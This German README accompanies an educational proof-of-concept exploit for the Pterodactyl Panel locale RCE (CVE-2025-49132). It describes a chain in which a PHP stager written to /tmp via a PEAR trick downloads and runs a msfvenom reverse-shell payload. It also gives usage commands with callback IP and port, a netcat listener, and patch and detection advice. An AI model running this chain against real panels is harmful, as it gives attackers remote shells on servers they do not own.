Pterodactyl Panel Locale RCE (CVE-2025-49132) — Bildungs-PoC
Nur für autorisierte Tests und defensive Lernzwecke.
Dieses Repository ist für kontrollierte Laborumgebungen (z.B. CTF/HTB-ähnliche Setups) vorgesehen, in denen Sie Eigentümer des Ziels sind oder eine ausdrückliche schriftliche Genehmigung zum Testen haben.
Kontext
Dieses Repository enthält einen pädagogischen Python-Proof-of-Concept (pterodactyl_rce.py) für eine echte Sicherheitslücke, die Pterodactyl Panel Versionen vor v1.11.11 betrifft. Unter anfälligen Konfigurationen kann ein nicht authentifizierter Angreifer über den Endpunkt /locales/locale.json aufgrund unsachgemäßer Handhabung der Parameter locale und namespace eine Remote Code Execution erreichen.
Diese PoC-Variante zielt auf Umgebungen ab, in denen PHP-PEAR installiert ist, und wurde gegen die inzwischen ausgemusterte Hack The Box-Maschine Pterodactyl erstellt und validiert: https://app.hackthebox.com/machines/Pterodactyl. Sie kann auch in anderen Laborumgebungen funktionieren, in denen die gleichen Bedingungen erfüllt sind.
Schwachstellenreferenz
- GitHub Advisory: GHSA-24wv-6c99-f843 (CVE-2025-49132)
- Betroffen: Pterodactyl Panel < 1.11.11
- Behoben in: v1.11.11 (Patch-Commit
24c82b0…)
Grundlegende Idee (wie der PoC funktioniert)
Auf hoher Ebene verkettet der PoC diese Schritte:
- Generiert ein Linux x64 Reverse-TCP-ELF-Payload mit
msfvenom.
- Serviert dieses ELF über einen HTTP-Server (eine Anfrage, dann beendet er sich).
- Missbraucht die anfällige Verarbeitung von
/locales/locale.json, um einen PHP-„Stager“ in /tmp zu schreiben (über einen PEAR pearcmd config-create-Trick).
- Löst den Stager über den Locales-Endpunkt aus, sodass dieser:
- das ELF in
/tmp herunterlädt,
- es ausführbar macht,
- es ausführt, um eine Verbindung zu Ihrem Listener herzustellen.
Das Skript verwendet für den „Upload“-Schritt einen rohen HTTP-Client anstelle von curl, da einige Tools Zeichen normalisieren oder kodieren und so die konstruierte Anfrage zerstören könnten.
Hinweis: Diese README bleibt bewusst auf einem defensiven/lehrreichen Niveau. Verwenden Sie den Code nur in Umgebungen, die Sie testen dürfen.
Voraussetzungen (lokal)
- Python 3.10+ (getestet nur mit der Standardbibliothek)
msfvenom im $PATH verfügbar (Metasploit Framework)
nc (netcat), falls der PoC einen automatischen Listener starten soll
- Netzwerkzugriff zwischen Ihrer Labormaschine und Ihrer Pterodactyl-Instanz im Labor
Konfiguration
Das Skript erwartet derzeit einen Panel-HTB-Hostnamen im Quellcode:
host = "panel.pterodactyl.htb"
Zusätzlich ist der hartcodierte Pfad zu PHP-PEAR auf ../../../../../usr/share/php/PEAR gesetzt. Wenn Sie dies außerhalb der Pterodactyl-Box testen, müssen Sie diesen Pfad entsprechend Ihrer lokalen Konfiguration anpassen.
Verwendung (nur kontrolliertes Labor)
1) Basisausführung (Auto-Listener aktiviert)
python3 pterodactyl_rce.py <LHOST> <LPORT>
<LHOST>: Ihre Rückruf-IP, die vom Laborserver erreichbar ist
<LPORT>: Port zum Empfangen der Reverse-Shell
2) Ausführung ohne Auto-Listener
Wenn Sie lieber einen eigenen Listener betreiben möchten:
python3 pterodactyl_rce.py <LHOST> <LPORT> --no-listen
Dann in einem anderen Terminal:
nc -lvnp <LPORT>
Beispiel (Platzhalter)
python3 pterodactyl_rce.py 10.10.14.225 5555
Ausgabe / Was zu erwarten ist
Typischer Ablauf:
- Generiert ein ELF-Payload (zufälliger Dateiname wie
shell_ab12cd34)
- Startet einen One-Shot-HTTP-Server auf
:8080
- Erstellt einen PHP-Stager unter
/tmp/<zufall>.php
- Löst den Stager aus
- Entfernt die lokale ELF-Datei nach dem Auslösen
- Zeigt einen Tipp zum Upgrade Ihrer Shell (PTY)
Screenshot der erfolgreichen Ausnutzung

Bekannte Probleme / Laborhinweise
- Laborinstabilität: Die Ziel-Box/das Zielservice kann instabil sein (Timeouts, gelegentliche 5xx-Fehler, verzögerte Ausführung). Falls ein Lauf fehlschlägt, wiederholen Sie ihn nach einer kurzen Pause.
- Wiederverwendung alter Payloads: Die Umgebung kann manchmal eine ältere hochgeladene/gestagte Datei auslösen. Das Skript bereinigt nur eine lokale Datei auf der Angreiferbox, berührt jedoch keine Dateien im
/tmp/-Ordner auf der Maschine.
Workarounds:
- Führen Sie das Skript mit einem neuen zufälligen Payload-Namen erneut aus (Standardverhalten in diesem Skript).
- Ändern Sie den anfänglichen Port des HTTP-Servers von 8080 auf einen anderen Port.
- Ändern Sie Ihren Listener-Port (z.B. 4444 → 5555) und generieren Sie das Payload neu.
- Stellen Sie sicher, dass Ihr HTTP-Server die aktuelle Datei ausliefert (stoppen Sie vorherige Server/Listener).
- Wenn Sie Zugriff haben, entfernen Sie alte
/tmp/<name>.php-Artefakte auf dem Ziel manuell; warten Sie andernfalls eine Weile und wiederholen Sie den Vorgang.
Defensive Anleitung (was zu beheben / wie zu erkennen ist)
Patch / Abhilfe
- Upgrade auf Pterodactyl Panel v1.11.11 oder höher.
- Es gibt keine In-App-Umgehung außer dem Patchen; Sie können den Endpunkt
/locales/locale.json auf Webserver-Ebene blockieren, aber dies könnte Lokalisierungsfunktionen beeinträchtigen.
Erkennungsideen
Achten Sie auf verdächtige Anfragen wie:
- Anfragen an
/locales/locale.json mit ungewöhnlichen locale=-Traversierungssequenzen
- Seltsame
namespace=-Werte (unerwartete Namen, lange Zeichenketten, seltsame Zeichen)
- Plötzliche Erstellung unerwarteter Dateien in
/tmp/ auf dem Panel-Host
Korrelieren Sie Weblogs mit:
- neuen Prozessen, die vom
www-/PHP-FPM-Benutzer gestartet wurden
- ausgehenden Verbindungen zu ungewöhnlichen Zielen/Ports
- unerwarteter Verwendung von
curl/wget auf dem Panel-Host
Hinweise zur verantwortungsvollen Nutzung
- Scannen oder testen Sie keine öffentlichen Instanzen.
- Wenn Sie Betreiber einer anfälligen Instanz sind, behandeln Sie dies als kritisch und patchen Sie sofort.
Danksagungen / Dank
- Original-PoC: Pterodactyl Panel (< 1.11.11) — Remote Code Execution (RCE) (EDB-ID: 52341, CVE-2025-49132) von Zen-kun04
https://www.exploit-db.com/exploits/52341
- Melder / Entdeckungsgutschrift: Die GitHub-Advisory schreibt @azimoff337 die Meldung von GHSA-24wv-6c99-f843 / CVE-2025-49132 zu.
- GitHub Advisory Database / CVE-Prozess: für das Verfolgen und Veröffentlichen der Schwachstellendetails.
- Hack The Box (HTB): Dieser PoC wurde in einer kontrollierten HTB-ähnlichen Laborumgebung für Lern- und Defensivforschung erstellt/validiert.
Keine Spoiler für aktive HTB-Inhalte.